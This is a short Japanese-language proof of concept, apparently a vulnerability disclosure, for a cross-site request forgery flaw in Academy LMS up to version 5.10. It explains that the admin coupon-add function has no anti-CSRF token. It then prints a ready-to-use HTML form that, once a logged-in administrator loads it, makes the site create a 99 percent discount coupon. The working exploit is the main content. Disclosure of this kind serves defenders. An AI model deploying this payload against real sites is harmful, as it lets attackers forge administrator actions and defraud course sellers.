
Academy LMS <= 5.10 CSRF
Academy LMS <= 5.10 CSRF
Academy LMSは、ユーザーがコースを作成し宣伝できるアプリケーションです。クーポン追加機能はCSRFに対して脆弱であり、この攻撃を回避するためのトークンが存在しません。
実証コードの最初のステップは、管理ユーザーとしてプラットフォームに認証することです。
その後、脆弱性を悪用するコードを含むページにアクセスするだけで、新しいクーポンが自動的に作成されていることを確認できます。
悪用に使用したコード:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/admin/coupons/add" method="POST">
<input type="hidden" name="code" value="vinix" />
<input type="hidden" name="discount_percentage" value="99" />
<input type="hidden" name="expiry_date" value="12/11/2022" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>